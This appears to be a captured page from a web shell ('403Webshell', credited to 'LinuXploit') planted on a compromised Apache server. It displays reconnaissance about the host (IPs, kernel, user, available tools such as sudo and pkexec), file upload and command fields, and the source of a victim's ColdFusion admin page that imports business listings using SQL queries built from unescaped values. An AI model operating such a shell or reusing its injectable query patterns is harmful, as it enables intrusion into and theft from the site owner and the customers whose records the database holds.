403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/nympadmin/newsystem/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/cgny/nympadmin/newsystem/start.cfm
<cfcontent type="text/html;charset=iso-8859-1">
<cfprocessingDirective pageencoding="iso-8859-1">
<cfset setEncoding("Form", "ISO-8859-15")>
<cfinclude template="/header.cfm">


<div id="content">
  <div id="content-header">
  </div>
  <div class="container-fluid" style="margin-left:200px;">

<Cfif parameterexists(url.delete)>
		<Cfquery name="getimport" dataSource="#ds#">
		delete from `newsystem-tempimport` where imported = 0 
	 </cfquery>
	 
	 <Cflocation url="start.cfm" addToken="no">
</Cfif>	

<Cfif parameterexists(url.importme)>
	
		<Cfquery name="getimport" dataSource="#ds#">
		select * from `newsystem-tempimport` where imported = 0 
	 </cfquery>
	 
	 
	 <Cfoutput query="getimport">
		 
<cfquery name="checker" datasource="#ds#">select id from ParentsListings where name = '#companyname#'</cfquery>
		 
		 <Cfif #checker.recordcount# eq 0>
			 
		
			<cfquery name="getsales" datasource="#ds#">select email from davlersales where full = '#rep#'</cfquery>
		
		
		<Cfif #customerzipcode# is not ''><cfquery name="getregion" datasource="#ds#">select county as region from Zip_code_table where zip like '%#CustomerZipCode#%'  and county <> 'County'</cfquery>
<Cfset regme = '#getregion.region#'>
<Cfelse>
<cfset regme = ''>
</Cfif>

		
		
		
		
<Cfparam name="form.contactname" default="">
<Cfparam name="form.advertiser" default="0">
<Cfparam name="form.region" default="">
<Cfparam name="form.fax" default="">
<Cfparam name="form.description" default="">
<Cfparam name="form.fulldescription" default="">
<Cfparam name="form.contactitle" default="">
<Cfparam name="form.contactemail" default="">
<Cfparam name="form.contactphone" default="">
<Cfparam name="form.hide" default="0">
<cfparam name="form.AdRankML" default="0">


<CFQUERY name="addl" datasource="#ds#">
INSERT INTO ParentsListings(name,address,address2,city,state,zip,contactname,phone,advertiser,fax,email,website,lastupdated,description,fulldescription,catname,contactfirst,contactlist,contacttitle,contactemail,contactphone,dateadded,region,hide,AdRankML,salesperson,customerid)

values ('#CompanyName#','#CustomerAddress#','#CustomerAddress2#','#CustomerCity#','#CustomerState#','#CustomerZipCode#','','',0,'','','',#currentdatetime#,'','','','#CustomerFirstName#','#CustomerLastName#','','#CustomerEmail#','#CustomerPhone#',#currentdatetime#,'#regme#',#form.hide#,#form.AdRankML#,
'#getsales.email#',#CustomerID#)

</CFQUERY>

		<cfquery name="getstuff" datasource="#ds#">
select name, id
from ParentsListings
order by id desc
limit 0,1
</cfquery>


<cfset moveurl = reReplace(getstuff.name, "([^[:alnum:]|[:blank:]]) ", "", "all")>
<cfset moveurl = #reReplaceNoCase(moveurl, "[^a-z0-9]", "-", "all")#>
<Cfset moveurl = rereplace(moveurl," ","-","ALL")>
<cfset moveurl = rereplace(moveurl,"'","-","ALL")>
<cfset xxx = len(moveurl)>
<cfset xxx2 = xxx -1>
<Cfif #left(moveurl,1)# eq '-'>
<cfset moveurl = '#right(moveurl,xxx2)#'>
</cfif>
<cfset xxx = len(moveurl)>
<cfset xxx2 = xxx -1>
<Cfif #left(moveurl,1)#	eq '-'>
<cfset moveurl = '#right(moveurl,xxx2)#'>
</cfif>


<Cfquery name="checkmove" datasource="#ds#">
select id from ParentsListings where seo_friendly = '#moveurl#'
</cfquery>

<Cfif #checkmove.recordcount# gt 0>
<cfset moveurl = '#moveurl#-#id#'>
</cfif>

<h2>Microsites Created!</h2>
<a href="https://admin.nymetroparents.com/listingseditpk.cfm?id=#getstuff.id#&table=ParentsListings&cat=Advocacy%20&%20Social%20Services&catid=88">#getstuff.id# - #name#</a><br>



<cfquery name="updater" datasource="#ds#">
update ParentsListings
set seo_friendly = '#moveurl#'
where id = #getstuff.id#
</cfquery>

		
		
		 </Cfif>	 
		
	
	
	 </Cfoutput>	
	 
	<Cfquery name="upds" dataSource="#ds#">
		
		update `newsystem-tempimport` set imported = 1 where imported = 0
	</cfquery>	 
	
</Cfif>	

<Cfif parameterexists(url.imported)>
	
	<cfquery name="delone" dataSource="#ds#">
		delete from `newsystem-tempimport` where companyname = 'company name'
	</cfquery>
	
	
	<Cfquery name="getimport" dataSource="#ds#">
		select * from `newsystem-tempimport` where imported = 0 
	 </cfquery>
	 
	 
		 
		<TAble class="table color-table primary-table table-bordered table-striped table-hover">
<thead>
<th>ID</th>	
<th>Company</th>
<th>Rep	</th>
<th>Name	</th>
<th>Address	</th>
<th>City	</th>
<th>State	</th>
<th>Zip	</th>
<th>Phone</th><cfif #getuser.member# eq 'Rob'>

<th>import status </th></cfif>
<th>Does it Exist? </th>
<th>Region </th>
</thead>

	 <Cfoutput query="getimport">

<tr>
	
<td>#CustomerID#</td>	
<td>#CompanyName#</td>
<td>#Rep#	
	
	<cfquery name="checker" datasource="#ds#">select email from davlersales where full = '#rep#'</cfquery>
<small>#checker.email#</small>


</td>
<td>#CustomerFirstName#	#CustomerLastName#<br>
	<small>#CustomerEmail#</small>
</td>	
<td>#CustomerAddress#<Cfif CustomerAddress2 is not ''><br>#CustomerAddress2#</Cfif>	</td>
<td>#CustomerCity#	</td>
<td>#CustomerState#	</td>
<td>#CustomerZipCode#	</td>
<td>#CustomerPhone#</td>
<cfif #getuser.member# eq 'Rob'>
<td>#imported# </td></cfif>
<cfquery name="checker" datasource="#ds#">select id from ParentsListings where name = '#companyname#'</cfquery>

<td <Cfif #checker.recordcount# gt 0>bgcolor="pink"</Cfif>><center> 
#checker.recordcount#
</td>

<td><Cfif #customerzipcode# is not ''><cfquery name="checker" datasource="#ds#">select county as region from Zip_code_table where zip like '%#CustomerZipCode#%'  and county <> 'County'</cfquery>
#checker.region#</Cfif>
</td>
</tr>	
	
	 </Cfoutput>	 		
	 </table><br><Br> 
	
	<Font size=+1> <b>
	<a href="start.cfm?delete=on" onclick="return confirm('Are you sure?');">Delete Last Import and Go Back</a>
	&nbsp;	&nbsp;
	&nbsp;

	|	&nbsp;
	&nbsp;
	&nbsp;

	
	<a href="start.cfm?importme=on">Import Entries that Don't Exist</a> 
	</Font>
	</b>
	<Cfelse>
	
<h1>Select a File to Import</h1>
<form method="post" action="import.php" enctype="multipart/form-data">
<input type="file" name="excelfile">
<br>
<input type="submit" value="upload" name="submit">
</form>
	</cfif>


   </div>
<!--Footer-part-->
<br><br><br><br>

<cfinclude template="/footer.cfm">

Youez - 2016 - github.com/yon3zu
LinuXploit